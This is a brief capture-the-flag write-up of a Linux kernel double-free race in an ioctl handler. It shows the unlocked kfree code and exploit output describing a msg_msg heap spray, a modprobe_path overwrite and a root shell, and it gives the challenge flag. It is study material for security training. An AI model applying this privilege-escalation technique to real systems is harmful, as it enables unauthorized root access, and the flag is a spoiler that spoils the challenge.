Kernel Space Race: Double-Free Race Condition in SLUB Allocator
Executive Summary
In this challenge from HackTheBox CyberApocalypse 2024, an ioctl handler possessed an unprotected free sequence without mutex serialization.
Vulnerability Analysis
The target module registers device /dev/space_race:
C
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
switch (cmd) {
case RACE_ALLOC:
k_obj = kmalloc(sizeof(struct race_entry), GFP_KERNEL);
break;
case RACE_FREE:
kfree(k_obj); // Missing locking!
break;
}
return 0;
}Spraying kmalloc-64
By spraying msg_msg structures, we overwrite the freelist pointer to hijack an arbitrary kernel target pointer:
BASH
$ ./exploit
[+] Spraying msg_msg headers...
[+] Triggering double free in thread A and B...
[+] Overwriting modprobe_path to /tmp/x...
[+] Executing dummy bad header...
[+] Root shell obtained: uid=0(root) gid=0(root)FLAG SOLUTION // SPOILER
WHUB{slub_fr33l1st_p01s0n_2_r00t}